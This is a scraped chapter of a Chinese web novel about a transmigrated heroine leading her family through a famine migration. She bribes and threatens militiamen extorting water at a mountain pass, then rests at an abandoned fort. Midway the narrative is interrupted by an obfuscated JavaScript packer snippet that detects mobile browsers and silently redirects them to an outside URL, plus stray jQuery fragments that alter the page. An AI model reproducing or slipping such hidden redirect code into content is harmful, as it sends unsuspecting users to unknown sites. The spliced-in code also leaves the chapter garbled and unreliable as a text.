16. 第十六章
作品:《成为逃荒文炮灰女配,反手建立粮食帝国》 临近傍晚,大队准备启程。
行至两山隘口处,粗木横在路面,七八民乡勇敞着衣襟,手持木棍守在此处,个个面色不善,边上放着个木牌,歪歪扭扭写着“过路留水”。
隘口还挤着几名流民,看着皱巴巴的,显然身上已经没有水了,有水的被放通行,没水的被踹了几脚,不让过。
林昭穗看着这幅场面,心中暗想:“原著中有地方的官府为了不让流民四散开,避免灾情显露,便拍官兵控制,到后面人越来越多,逼不得已派去乡勇,乡勇是临时招募的民间武装,不算官差,没有正规操练,素质参差不齐,此时为了水而放流民离开,算是遇上‘好人’了。”
此时是林文渊驾车,他额角沁出汗水,蹙眉:“荒年水比粮贵,竟有乡勇设卡收水,真敢讹我们老百姓!”
林景骁透过帘子看到此种景象,道:“爹,他们人少,直接杀了过去!”
而他想冲出去,却被林昭穗的手按住了,“大哥,乡勇算是听候官府差遣的,那些马匪、村民杀了没事,逃荒路死伤无数,可官府的人被杀了,这事不好善了。”
听及此,林景骁也明白其中利害,便不多言。
三弟却有些慌乱:“爹,那我们真交水过去?我们可有好几口人,交的水说不定要很多。若是被看见马车粮食多,他们想抢占了怎么办?”
林昭穗下了车,跟着队伍缓缓移动,她注意着各路人马的动作。
“爹,我们绕路吧。”林昭穗道。
没等林文渊说话,有一道声音阻止:“不可。”
林昭穗听出是苏珩的声音,疑惑转头,“为何?”
“林姑娘,这里是唯一的官道,绕路是荒山野岭,更加危险,你们家还有弟妹呢,万一有什么冲突……”
林昭穗理解苏珩的意思,不过他没见过林家人砍人的场面,这样说也是为他们好,林昭穗心领了好意,他的话有几分道理,绕路花费的时间长,不认识路也是个问题。
林昭穗点头表示同意,道:“那我们交水离开?”
苏珩笑着点头:“对,若是乡勇因为你们的马车而强留你们,我们会尽量挡住他们,你们便尽快离开。”
听到苏珩的话,林昭穗和林文渊都意外地看向苏珩,没想到这少年小小年纪,还有侠义精神在身上。
……
王家村的队伍停滞不前,有的人不舍得水,在隘口踌躇,一时间隘口聚集了大量流民。
林家的马车就在众目睽睽之下上前。
林昭穗暗中从空间掏出几块麦饼和几两碎银,藏在袖口,然后从马车里拿出两个没有加过灵液的水囊,走到乡勇跟前。
领头的乡勇是个黑脸汉子,身上全是刀疤,一看就不是好惹的。
他见一个小姑娘孤身上前,面露不屑:“丫头,一人过关交半囊水,少一滴都过不了!”
林昭穗装作害怕道:“官爷,我娘病重,家里人都是小孩,就只靠着这两囊水过活了,您行行好,我交一囊水,你放我们过去吧。”
“那辆马车是你家的?还说没有水?”
她怯生生道:“官爷,我娘得了痨病,村里怕被传染,就把路边捡到的车修了修,给我娘坐,我弟弟妹妹都在照顾她,你看……”
黑脸汉子本想破口大骂,让林昭穗滚远一点,却感觉手里被塞了几块碎银子,脸色瞬间变了变。
“官爷,您别说我娘病了,就说里面都是尸体,好运走,成不?”蹩脚的谎言却让黑脸汉子神色缓和了些。
林昭穗顺势从袖子里拿出几个麦饼:“家里就剩些麦饼,孝敬您和其他官爷,通融通融,放我们一行人过卡,我们绝不声张,坏了您规矩。”
见到林昭穗手中的麦饼,其他乡勇眼睛都发直了,更何况她递出了手中的一个水囊。
虽然荒年粮食比碎银顶用,但黑脸汉子捏了捏碎银,心中畅快,鼻尖还传来麦饼的香气,暗道,难不成是刚出炉的,如此馋人?
再打量了一样林昭穗一行人,那辆大型的马车,和拉车的两头驴,让他一阵犹豫,说不准还能搜刮出些什么……
见黑脸汉子犹豫,看向马车的眼神还是出现了贪婪之色。
凑了过去,手中出现一把锋利的水果刀,借着体位遮掩,没有人看到林昭穗袖口的寒芒。
而黑脸汉子却实打实感受到一把冰冷的器具抵在他脆弱的脖颈,仿佛下一秒就能将他的喉咙切断。
软的不吃,林昭穗就来硬的,刚才不好拿武器,便从空间里拿现成的。
黑脸汉子大声道,“让他们过!别挡路,耽误老子收水!”眼睛一眨不眨看着脖子边的凶器,生怕林昭穗一不留神就割喉。
几名乡勇的注意力全在麦饼上,根本没注意到黑脸汉子的神色,一听这话连忙让步。
一辆双马木轮大车便过了关卡,他们还没反应过来,车就消失无踪。
林昭穗收回了刀,抛下一个水囊和几块麦饼就疾步离去,黑脸汉子想教训她一顿却抓不住,顿时火冒三丈。
而陆八又笑眯眯地站在黑脸汉子跟前,闲聊了几句,他们人少,塞了几个沉甸甸的银两后,黑脸汉子象征性收了半囊水便放行。
苏珩趴在驴车上,没有露出面容,驴车上面一览无余,没有什么粮食,黑脸汉子便以为苏珩是饿昏了,没注意,放了三人离开。
乡勇移开粗木,放行。
身后的林大伯一家也如此操作,成功离开。
而之后的流民都用嫉妒的目光看向离开的人。
苏柳的马车在后面慢慢上前,沉川从苏柳的手中接过一个腰牌,展示给乡勇看,为首的黑脸汉子顿时脸色大变,冷汗直冒,连忙请苏柳过关。
王老实看到这一幕,心中顿时笃定了苏柳的身份,也暗中决定不要招惹她。
……
大半王家村人被留在隘口,林昭穗想,到之后流民越聚越多,这关卡也是如同虚设了,大部分流民冲过来,想挡也挡不住。
小半的王家村人又聚在一起了,他们基本上在林昭穗这边买了马,所以他们行进的速度很快。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162182|196205||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
林昭穗等人也跟着人群走,不出多久,就把隘口远远甩到身后。
沈兰芝拍了拍胸口,“还好让我们走了,否则看到马车里堆的粮食,还不脱层皮。”
“娘,你放心吧,谁敢抢我们粮食,我就揍得他们脑袋开花!”林景骁拍了拍胸脯,向沈兰芝保证。
她见林景骁这幅小表情,不禁笑出了声,刚才的担忧一扫而空。
过了隘口,路边的绿色不在无迹可寻,倒是有一两处野菜,王家村的人顿时大叫,有的人欢呼了一阵,感慨总算是离开那个不毛之地了。
很多人都去挖野菜,还有人为了一小把野菜相互打起来。
林昭穗知道,还有将近两个月的路程,才能抵达临江府,但距离最近的宁川府,还有不到七天的时间,就能抵达。
宁川府附近的旱情还不显,百姓只是用水和吃食紧了些,其他没有多大影响,他们原本就很节省,可大户人家就不同了,他们知道了其他地方的情况,便早早南下,现在大多富商、达官贵人都走了,没多久宁川府就会乱起来了。
除了林文渊驾车,其他人进入车内歇息。
赶了一夜,天快蒙蒙亮时,大部队寻到一处荒废的土堡,土堡是以前收路的简易土寨,此时倒成为极佳的休息场所。
凑近一看,已经被一部分流民占据,大半是从隘口处寻来的,身上粮食水都被搜刮过,此时看到来人,不免眼放绿光,满是贪婪。
几辆显眼的马车刚停稳,就有流民围上来。
王家村的人不敢靠近,离得远远的,见到林家人被流民缠上,不知是该为林家倒霉,还是为流民默哀。
林文渊面色不虞,若是缠上来,他的女儿和儿子岂不是要受累?
没等林文渊有所动作,陆八已经上前交涉,说着说着,就把人往边上领,到了看不见的位置,林文渊目瞪口呆,对苏珩道:“苏珩贤侄,你那位随从可真是个奇人,用什么说法能让流民跟着他走?”
苏珩笑笑,摇了摇头,表示自己也不知道。
陆八擅长悄无声息地解决敌人,为了不让林家被骚扰,也不暴露陆八的武功,只好出此下策。
林大伯把驴、马安顿好,喂了麦麸,便过来走走,坐在马背上的感觉不好受。
王氏坐在板车边,数着自家粮食,林昭雁本想一起,被王氏赶过来,“昭雁,你去和昭穗玩。”
林昭雁知道王氏是想林昭穗带着她练练功夫,可林昭雁知道自己不擅长练武,她和林景骁同龄,林景骁跟着爷奶学功夫时,她也在边上,无论怎么学,都练不成他那样的,只好作罢。
她继承了林建忠的身高,比同龄的林景骁还高上一截。
苏珩见有其他人过来,想避一避,却见那眼睛大大的姑娘有几分眼熟,脚步顿了几秒,才往边上躲,对林昭穗小声道:“林姑娘,我先去用膳,晚点再聊。”
“用膳?”林昭穗嘀咕,用词可真文雅,不愧是书生。
而一旁苏柳的马车,几双眼睛齐刷刷地看着这边。

